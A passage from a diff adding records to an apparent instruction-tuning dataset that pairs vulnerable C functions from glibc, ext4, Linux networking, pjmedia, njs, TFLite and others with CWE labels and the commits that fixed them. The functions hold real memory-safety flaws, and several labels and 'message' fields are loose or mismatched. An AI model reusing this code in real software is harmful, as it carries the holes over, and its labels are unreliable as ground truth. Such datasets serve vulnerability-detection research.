1;\n\t\t(void)__writev(STDERR_FILENO, iov, 2);\n\t}\n\n\t/* Prepare for multiple users.  We have to take care: open and\n\t   write are cancellation points.  */\n\t__libc_cleanup_region_start ((void (*) (void *)) cancel_handler,\n\t\t\t\t     &oldaction_ptr);\n\t__libc_lock_lock (syslog_lock);\n\n\t/* Prepare for a broken connection.  */\n \tmemset (&action, 0, sizeof (action));\n \taction.sa_handler = sigpipe_handler;\n \tsigemptyset (&action.sa_mask);\n \tsigpipe = __sigaction (SIGPIPE, &action, &oldaction);\n\tif (sigpipe == 0)\n\t  oldaction_ptr = &oldaction;\n\n\t/* Get connected, output the message to the local logger. */\n\tif (!connected)\n\t\topenlog_internal(LogTag, LogStat | LOG_NDELAY, 0);\n\n\t/* If we have a SOCK_STREAM connection, also send ASCII NUL as\n\t   a record terminator.  */\n\tif (LogType == SOCK_STREAM)\n\t  ++bufsize;\n\n\tif (!connected || __send(LogFile, buf, bufsize, 0) < 0)\n\t  {\n\t    closelog_internal ();\t/* attempt re-open next time */\n\t    /*\n\t     * Output the message to the console; don't worry about blocking,\n\t     * if console blocks everything will.  Make sure the error reported\n\t     * is the one from the syslogd failure.\n\t     */\n\t    if (LogStat & LOG_CONS &&\n\t\t(fd = __open(_PATH_CONSOLE, O_WRONLY|O_NOCTTY, 0)) >= 0)\n\t      {\n\t\tdprintf (fd, \"%s\\r\\n\", buf + msgoff);\n\t\t(void)__close(fd);\n\t      }\n\t  }\n\n\tif (sigpipe == 0)\n\t\t__sigaction (SIGPIPE, &oldaction, (struct sigaction *) NULL);\n\n\t/* End of critical section.  */\n\t__libc_cleanup_region_end (0);\n\t__libc_lock_unlock (syslog_lock);\n\n\tfree (buf);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190', 'CWE-252'], 'message': 'Update.\n\n1999-11-09  Ulrich Drepper  \n\n\t* elf/dl-load.c (_dl_dst_count): Allow $ORIGIN to point to\n\tdirectory with the reference since this is as secure as using the\n\tobject with the dependency.\n\t(_dl_dst_substitute): Likewise.\n\n\t* elf/dl-load.c (_dl_dst_count): Change strings in first two\n\tstrncmp calls to allow reuse.\n\t(_dl_dst_substitute): Likewise.\n\n1999-11-01  Arnold D. Robbins  \n\n\t* posix/regex.c (init_syntax_once): move below definition of\n\tISALNUM etc., then use ISALNUM to init the table, so that\n\tthe word ops will work if i18n'ed.\n\t(SYNTAX): And subscript with 0xFF for 8bit character sets.\n\n1999-11-09  Andreas Jaeger  \n\n\t* sysdeps/unix/getlogin_r.c (getlogin_r): Sync with getlogin\n\timplementation for ttyname_r call; fix inverted condition; return\n\tut_user.  Closes PR libc/1438.\n\n1999-11-09  Ulrich Drepper  \n\n\t* timezone/checktab.awk: Update from tzcode1999h.\n\t* timezone/africa: Update from tzdata1999i.\n\t* timezone/asia: Likewise.\n\t* timezone/australasia: Likewise.\n\t* timezone/backward: Likewise.\n\t* timezone/europe: Likewise.\n\t* timezone/northamerica: Likewise.\n\t* timezone/southamerica: Likewise.\n\t* timezone/iso3166.tab: Likewise.\n\t* timezone/zone.tab: Likewise.\n\n\t* sysdeps/unix/sysv/linux/bits/resource.h: Define values also as\n\tmacros.  Patch by brg@csua.berkeley.edu [PR libc/1439].\n\n1999-11-09  Andreas Jaeger  \n\n\t* posix/Makefile (tests): Added tst-getlogin.\n\n\t* posix/tst-getlogin.c: New file, contains simple tests for\n\tgetlogin and getlogin_r.\n\n1999-11-09  Andreas Schwab  \n\n\t* misc/syslog.c: For LOG_PERROR only append a newline if\n\tnecessary.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: PJ_DEF(pj_status_t) pjmedia_rtcp_fb_parse_nack(\n\t\t\t\t\tconst void *buf,\n\t\t\t\t\tpj_size_t length,\n\t\t\t\t\tunsigned *nack_cnt,\n\t\t\t\t\tpjmedia_rtcp_fb_nack nack[])\n{\n    pjmedia_rtcp_common *hdr = (pjmedia_rtcp_common*) buf;\n    pj_uint8_t *p;\n    unsigned cnt, i;\n\n    PJ_ASSERT_RETURN(buf && nack_cnt && nack, PJ_EINVAL);\n    PJ_ASSERT_RETURN(length >= sizeof(pjmedia_rtcp_common), PJ_ETOOSMALL);\n\n    /* Generic NACK uses pt==RTCP_RTPFB and FMT==1 */\n    if (hdr->pt != RTCP_RTPFB || hdr->count != 1)\n\treturn PJ_ENOTFOUND;\n\n    cnt = pj_ntohs((pj_uint16_t)hdr->length);\n    if (cnt > 2) cnt -= 2; else cnt = 0;\n    if (length < (cnt+3)*4)\n\treturn PJ_ETOOSMALL;\n\n    *nack_cnt = PJ_MIN(*nack_cnt, cnt);\n\n    p = (pj_uint8_t*)hdr + sizeof(*hdr);\n    for (i = 0; i < *nack_cnt; ++i) {\n\tpj_uint16_t val;\n\n\tpj_memcpy(&val, p, 2);\n\tnack[i].pid = pj_ntohs(val);\n\tpj_memcpy(&val, p+2, 2);\n\tnack[i].blp = pj_ntohs(val);\n\tp += 4;\n    }\n\n    return PJ_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200', 'CWE-787'], 'message': 'Merge pull request from GHSA-vhxv-phmx-g52q\n\n* Prevent OOB read/write when parsing RTCP FB RPSI\n\n* Add log information\n\n* Modification based on comments.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: GPMF_ERR IsValidSize(GPMF_stream *ms, uint32_t size) // size is in longs not bytes.\n{\n\tif (ms)\n\t{\n\t\tint32_t nestsize = (int32_t)ms->nest_size[ms->nest_level];\n\t\tif (nestsize == 0 && ms->nest_level == 0)\n\t\t\tnestsize = ms->buffer_size_longs;\n\n\t\tif (size + 2 <= nestsize) return GPMF_OK;\n\t}\n\treturn GPMF_ERROR_BAD_STRUCTURE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-369', 'CWE-787'], 'message': 'fixed many security issues with the too crude mp4 reader'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void ext4_free_branches(handle_t *handle, struct inode *inode,\n\t\t\t       struct buffer_head *parent_bh,\n\t\t\t       __le32 *first, __le32 *last, int depth)\n{\n\text4_fsblk_t nr;\n\t__le32 *p;\n\n\tif (ext4_handle_is_aborted(handle))\n\t\treturn;\n\n\tif (depth--) {\n\t\tstruct buffer_head *bh;\n\t\tint addr_per_block = EXT4_ADDR_PER_BLOCK(inode->i_sb);\n\t\tp = last;\n\t\twhile (--p >= first) {\n\t\t\tnr = le32_to_cpu(*p);\n\t\t\tif (!nr)\n\t\t\t\tcontinue;\t\t/* A hole */\n\n\t\t\tif (!ext4_data_block_valid(EXT4_SB(inode->i_sb),\n\t\t\t\t\t\t   nr, 1)) {\n\t\t\t\tEXT4_ERROR_INODE(inode,\n\t\t\t\t\t\t \"invalid indirect mapped \"\n\t\t\t\t\t\t \"block %lu (level %d)\",\n\t\t\t\t\t\t (unsigned long) nr, depth);\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t/* Go read the buffer for the next level down */\n\t\t\tbh = sb_bread(inode->i_sb, nr);\n\n\t\t\t/*\n\t\t\t * A read failure? Report error and clear slot\n\t\t\t * (should be rare).\n\t\t\t */\n\t\t\tif (!bh) {\n\t\t\t\text4_error_inode_block(inode, nr, EIO,\n\t\t\t\t\t\t       \"Read failure\");\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t/* This zaps the entire block.  Bottom up. */\n\t\t\tBUFFER_TRACE(bh, \"free child branches\");\n\t\t\text4_free_branches(handle, inode, bh,\n\t\t\t\t\t(__le32 *) bh->b_data,\n\t\t\t\t\t(__le32 *) bh->b_data + addr_per_block,\n\t\t\t\t\tdepth);\n\t\t\tbrelse(bh);\n\n\t\t\t/*\n\t\t\t * Everything below this this pointer has been\n\t\t\t * released.  Now let this top-of-subtree go.\n\t\t\t *\n\t\t\t * We want the freeing of this indirect block to be\n\t\t\t * atomic in the journal with the updating of the\n\t\t\t * bitmap block which owns it.  So make some room in\n\t\t\t * the journal.\n\t\t\t *\n\t\t\t * We zero the parent pointer *after* freeing its\n\t\t\t * pointee in the bitmaps, so if extend_transaction()\n\t\t\t * for some reason fails to put the bitmap changes and\n\t\t\t * the release into the same transaction, recovery\n\t\t\t * will merely complain about releasing a free block,\n\t\t\t * rather than leaking blocks.\n\t\t\t */\n\t\t\tif (ext4_handle_is_aborted(handle))\n\t\t\t\treturn;\n\t\t\tif (ext4_ind_truncate_ensure_credits(handle, inode,\n\t\t\t\t\tNULL,\n\t\t\t\t\text4_free_metadata_revoke_credits(\n\t\t\t\t\t\t\tinode->i_sb, 1)) < 0)\n\t\t\t\treturn;\n\n\t\t\t/*\n\t\t\t * The forget flag here is critical because if\n\t\t\t * we are journaling (and not doing data\n\t\t\t * journaling), we have to make sure a revoke\n\t\t\t * record is written to prevent the journal\n\t\t\t * replay from overwriting the (former)\n\t\t\t * indirect block if it gets reallocated as a\n\t\t\t * data block.  This must happen in the same\n\t\t\t * transaction where the data blocks are\n\t\t\t * actually freed.\n\t\t\t */\n\t\t\text4_free_blocks(handle, inode, NULL, nr, 1,\n\t\t\t\t\t EXT4_FREE_BLOCKS_METADATA|\n\t\t\t\t\t EXT4_FREE_BLOCKS_FORGET);\n\n\t\t\tif (parent_bh) {\n\t\t\t\t/*\n\t\t\t\t * The block which we have just freed is\n\t\t\t\t * pointed to by an indirect block: journal it\n\t\t\t\t */\n\t\t\t\tBUFFER_TRACE(parent_bh, \"get_write_access\");\n\t\t\t\tif (!ext4_journal_get_write_access(handle,\n\t\t\t\t\t\t\t\t   parent_bh)){\n\t\t\t\t\t*p = 0;\n\t\t\t\t\tBUFFER_TRACE(parent_bh,\n\t\t\t\t\t\"call ext4_handle_dirty_metadata\");\n\t\t\t\t\text4_handle_dirty_metadata(handle,\n\t\t\t\t\t\t\t\t   inode,\n\t\t\t\t\t\t\t\t   parent_bh);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\t/* We have reached the bottom of the tree. */\n\t\tBUFFER_TRACE(parent_bh, \"free data blocks\");\n\t\text4_free_data(handle, inode, parent_bh, first, last);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'ext4: check journal inode extents more carefully\n\nCurrently, system zones just track ranges of block, that are \"important\"\nfs metadata (bitmaps, group descriptors, journal blocks, etc.). This\nhowever complicates how extent tree (or indirect blocks) can be checked\nfor inodes that actually track such metadata - currently the journal\ninode but arguably we should be treating quota files or resize inode\nsimilarly. We cannot run __ext4_ext_check() on such metadata inodes when\nloading their extents as that would immediately trigger the validity\nchecks and so we just hack around that and special-case the journal\ninode. This however leads to a situation that a journal inode which has\nextent tree of depth at least one can have invalid extent tree that gets\nunnoticed until ext4_cache_extents() crashes.\n\nTo overcome this limitation, track inode number each system zone belongs\nto (0 is used for zones not belonging to any inode). We can then verify\ninode number matches the expected one when verifying extent tree and\nthus avoid the false errors. With this there's no need to to\nspecial-case journal inode during extent tree checking anymore so remove\nit.\n\nFixes: 0a944e8a6c66 (\"ext4: don't perform block validity checks on the journal inode\")\nReported-by: Wolfgang Frisch \nReviewed-by: Lukas Czerner \nSigned-off-by: Jan Kara \nLink: https://lore.kernel.org/r/20200728130437.7804-4-jack@suse.cz\nSigned-off-by: Theodore Ts'o '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int ext4_valid_extent_idx(struct inode *inode,\n\t\t\t\tstruct ext4_extent_idx *ext_idx)\n{\n\text4_fsblk_t block = ext4_idx_pblock(ext_idx);\n\n\treturn ext4_data_block_valid(EXT4_SB(inode->i_sb), block, 1);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'ext4: check journal inode extents more carefully\n\nCurrently, system zones just track ranges of block, that are \"important\"\nfs metadata (bitmaps, group descriptors, journal blocks, etc.). This\nhowever complicates how extent tree (or indirect blocks) can be checked\nfor inodes that actually track such metadata - currently the journal\ninode but arguably we should be treating quota files or resize inode\nsimilarly. We cannot run __ext4_ext_check() on such metadata inodes when\nloading their extents as that would immediately trigger the validity\nchecks and so we just hack around that and special-case the journal\ninode. This however leads to a situation that a journal inode which has\nextent tree of depth at least one can have invalid extent tree that gets\nunnoticed until ext4_cache_extents() crashes.\n\nTo overcome this limitation, track inode number each system zone belongs\nto (0 is used for zones not belonging to any inode). We can then verify\ninode number matches the expected one when verifying extent tree and\nthus avoid the false errors. With this there's no need to to\nspecial-case journal inode during extent tree checking anymore so remove\nit.\n\nFixes: 0a944e8a6c66 (\"ext4: don't perform block validity checks on the journal inode\")\nReported-by: Wolfgang Frisch \nReviewed-by: Lukas Czerner \nSigned-off-by: Jan Kara \nLink: https://lore.kernel.org/r/20200728130437.7804-4-jack@suse.cz\nSigned-off-by: Theodore Ts'o '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: njs_vm_start(njs_vm_t *vm)\n{\n    njs_int_t  ret;\n\n    ret = njs_module_load(vm);\n    if (njs_slow_path(ret != NJS_OK)) {\n        return ret;\n    }\n\n    ret = njs_vmcode_interpreter(vm, vm->start);\n\n    return (ret == NJS_ERROR) ? NJS_ERROR : NJS_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'Fixed recursive async function calls.\n\nPreviously, PromiseCapability record was stored (function->context)\ndirectly in function object during a function invocation.  This is\nnot correct, because PromiseCapability record should be linked to\ncurrent execution context.  As a result, function->context is\noverwritten with consecutive recursive calls which results in\nuse-after-free.\n\nThis closes #451 issue on Github.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n\t\t\t\tstruct msghdr *msg, size_t len, int flags)\n{\n\tint noblock = flags & MSG_DONTWAIT;\n\tstruct sock *sk = sock->sk;\n\tstruct sk_buff *skb;\n\tsize_t copied;\n\tint err;\n\n\tBT_DBG(\"sock %p sk %p len %zu\", sock, sk, len);\n\n\tif (flags & (MSG_OOB))\n\t\treturn -EOPNOTSUPP;\n\n\tskb = skb_recv_datagram(sk, flags, noblock, &err);\n\tif (!skb) {\n\t\tif (sk->sk_shutdown & RCV_SHUTDOWN) {\n\t\t\tmsg->msg_namelen = 0;\n\t\t\treturn 0;\n\t\t}\n\t\treturn err;\n\t}\n\n\tcopied = skb->len;\n\tif (len < copied) {\n\t\tmsg->msg_flags |= MSG_TRUNC;\n\t\tcopied = len;\n\t}\n\n\tskb_reset_transport_header(skb);\n\terr = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied);\n\tif (err == 0) {\n\t\tsock_recv_ts_and_drops(msg, sk, skb);\n\n\t\tif (bt_sk(sk)->skb_msg_name)\n\t\t\tbt_sk(sk)->skb_msg_name(skb, msg->msg_name,\n\t\t\t\t\t\t&msg->msg_namelen);\n\t\telse\n\t\t\tmsg->msg_namelen = 0;\n\t}\n\n\tskb_free_datagram(sk, skb);\n\n\treturn err ? : copied;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-269'], 'message': 'net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int recv_msg(struct kiocb *iocb, struct socket *sock,\n\t\t    struct msghdr *m, size_t buf_len, int flags)\n{\n\tstruct sock *sk = sock->sk;\n\tstruct tipc_port *tport = tipc_sk_port(sk);\n\tstruct sk_buff *buf;\n\tstruct tipc_msg *msg;\n\tlong timeout;\n\tunsigned int sz;\n\tu32 err;\n\tint res;\n\n\t/* Catch invalid receive requests */\n\tif (unlikely(!buf_len))\n\t\treturn -EINVAL;\n\n\tlock_sock(sk);\n\n\tif (unlikely(sock->state == SS_UNCONNECTED)) {\n\t\tres = -ENOTCONN;\n\t\tgoto exit;\n\t}\n\n\t/* will be updated in set_orig_addr() if needed */\n\tm->msg_namelen = 0;\n\n\ttimeout = sock_rcvtimeo(sk, flags & MSG_DONTWAIT);\nrestart:\n\n\t/* Look for a message in receive queue; wait if necessary */\n\twhile (skb_queue_empty(&sk->sk_receive_queue)) {\n\t\tif (sock->state == SS_DISCONNECTING) {\n\t\t\tres = -ENOTCONN;\n\t\t\tgoto exit;\n\t\t}\n\t\tif (timeout <= 0L) {\n\t\t\tres = timeout ? timeout : -EWOULDBLOCK;\n\t\t\tgoto exit;\n\t\t}\n\t\trelease_sock(sk);\n\t\ttimeout = wait_event_interruptible_timeout(*sk_sleep(sk),\n\t\t\t\t\t\t\t   tipc_rx_ready(sock),\n\t\t\t\t\t\t\t   timeout);\n\t\tlock_sock(sk);\n\t}\n\n\t/* Look at first message in receive queue */\n\tbuf = skb_peek(&sk->sk_receive_queue);\n\tmsg = buf_msg(buf);\n\tsz = msg_data_sz(msg);\n\terr = msg_errcode(msg);\n\n\t/* Discard an empty non-errored message & try again */\n\tif ((!sz) && (!err)) {\n\t\tadvance_rx_queue(sk);\n\t\tgoto restart;\n\t}\n\n\t/* Capture sender's address (optional) */\n\tset_orig_addr(m, msg);\n\n\t/* Capture ancillary data (optional) */\n\tres = anc_data_recv(m, msg, tport);\n\tif (res)\n\t\tgoto exit;\n\n\t/* Capture message data (if valid) & compute return value (always) */\n\tif (!err) {\n\t\tif (unlikely(buf_len < sz)) {\n\t\t\tsz = buf_len;\n\t\t\tm->msg_flags |= MSG_TRUNC;\n\t\t}\n\t\tres = skb_copy_datagram_iovec(buf, msg_hdr_sz(msg),\n\t\t\t\t\t      m->msg_iov, sz);\n\t\tif (res)\n\t\t\tgoto exit;\n\t\tres = sz;\n\t} else {\n\t\tif ((sock->state == SS_READY) ||\n\t\t    ((err == TIPC_CONN_SHUTDOWN) || m->msg_control))\n\t\t\tres = 0;\n\t\telse\n\t\t\tres = -ECONNRESET;\n\t}\n\n\t/* Consume received message (optional) */\n\tif (likely(!(flags & MSG_PEEK))) {\n\t\tif ((sock->state != SS_READY) &&\n\t\t    (++tport->conn_unacked >= TIPC_FLOW_CONTROL_WIN))\n\t\t\ttipc_acknowledge(tport->ref, tport->conn_unacked);\n\t\tadvance_rx_queue(sk);\n\t}\nexit:\n\trelease_sock(sk);\n\treturn res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-269'], 'message': 'net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int rfcomm_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n\t\t\t       struct msghdr *msg, size_t size, int flags)\n{\n\tstruct sock *sk = sock->sk;\n\tstruct rfcomm_dlc *d = rfcomm_pi(sk)->dlc;\n\tint len;\n\n\tif (test_and_clear_bit(RFCOMM_DEFER_SETUP, &d->flags)) {\n\t\trfcomm_dlc_accept(d);\n\t\tmsg->msg_namelen = 0;\n\t\treturn 0;\n\t}\n\n\tlen = bt_sock_stream_recvmsg(iocb, sock, msg, size, flags);\n\n\tlock_sock(sk);\n\tif (!(flags & MSG_PEEK) && len > 0)\n\t\tatomic_sub(len, &sk->sk_rmem_alloc);\n\n\tif (atomic_read(&sk->sk_rmem_alloc) <= (sk->sk_rcvbuf >> 2))\n\t\trfcomm_dlc_unthrottle(rfcomm_pi(sk)->dlc);\n\trelease_sock(sk);\n\n\treturn len;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-269'], 'message': 'net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int verify_compat_iovec(struct msghdr *kern_msg, struct iovec *kern_iov,\n\t\t   struct sockaddr_storage *kern_address, int mode)\n{\n\tint tot_len;\n\n\tif (kern_msg->msg_namelen) {\n\t\tif (mode == VERIFY_READ) {\n\t\t\tint err = move_addr_to_kernel(kern_msg->msg_name,\n\t\t\t\t\t\t      kern_msg->msg_namelen,\n\t\t\t\t\t\t      kern_address);\n\t\t\tif (err < 0)\n\t\t\t\treturn err;\n\t\t}\n\t\tkern_msg->msg_name = kern_address;\n\t} else\n\t\tkern_msg->msg_name = NULL;\n\n\ttot_len = iov_from_user_compat_to_kern(kern_iov,\n\t\t\t\t\t  (struct compat_iovec __user *)kern_msg->msg_iov,\n\t\t\t\t\t  kern_msg->msg_iovlen);\n\tif (tot_len >= 0)\n\t\tkern_msg->msg_iov = kern_iov;\n\n\treturn tot_len;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-269'], 'message': 'net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus GatherStrings(TfLiteContext* context, const TfLiteTensor* input,\n                           const TfLiteTensor* positions,\n                           TfLiteTensor* output) {\n  DynamicBuffer buffer;\n  const PositionT* indexes = GetTensorData(positions);\n  const PositionT num_strings = GetStringCount(input);\n  const int num_indexes = NumElements(positions);\n\n  for (int i = 0; i < num_indexes; ++i) {\n    const PositionT pos = indexes[i];\n    TF_LITE_ENSURE(context, pos < num_strings);\n    const auto string_ref = GetString(input, pos);\n    buffer.AddString(string_ref.str, string_ref.len);\n  }\n  buffer.WriteToTensor(output, /*new_shape=*/nullptr);\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-125'], 'message': 'Prevent heap OOB read in TFLite's `gather.cc`.\n\nPassing negative indices is illegal but there was a missing check so that resulted in OOB accesses.\n\nPiperOrigin-RevId: 387231300\nChange-Id: I3111b54b2f232638d795be17efc46abe4ede6bf8'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int caf_parse(caf_reader_t *reader, int64_t *data_length)\n{\n    uint32_t fcc;\n    int64_t chunk_size;\n\n    *data_length = 0;\n\n    /* CAFFileHeader */\n    TRY_IO(pcm_read32be(&reader->io, &fcc));\n    ENSURE(fcc == M4AF_FOURCC('c','a','f','f'));\n    TRY_IO(pcm_skip(&reader->io, 4)); /* mFileVersion, mFileFlags */\n\n    while ((fcc = caf_next_chunk(reader, &chunk_size)) != 0) {\n        if (fcc == M4AF_FOURCC('d','e','s','c'))\n            TRY_IO(caf_desc(reader, chunk_size));\n        else if (fcc == M4AF_FOURCC('i','n','f','o'))\n            TRY_IO(caf_info(reader, chunk_size));\n        else if (fcc == M4AF_FOURCC('c','h','a','n')) {\n            ENSURE(reader->sample_format.channels_per_frame);\n            if (apple_chan_chunk(&reader->io, chunk_size,\n                                 &reader->sample_format, reader->chanmap) < 0)\n                goto FAIL;\n        } else if (fcc == M4AF_FOURCC('d','a','t','a')) {\n            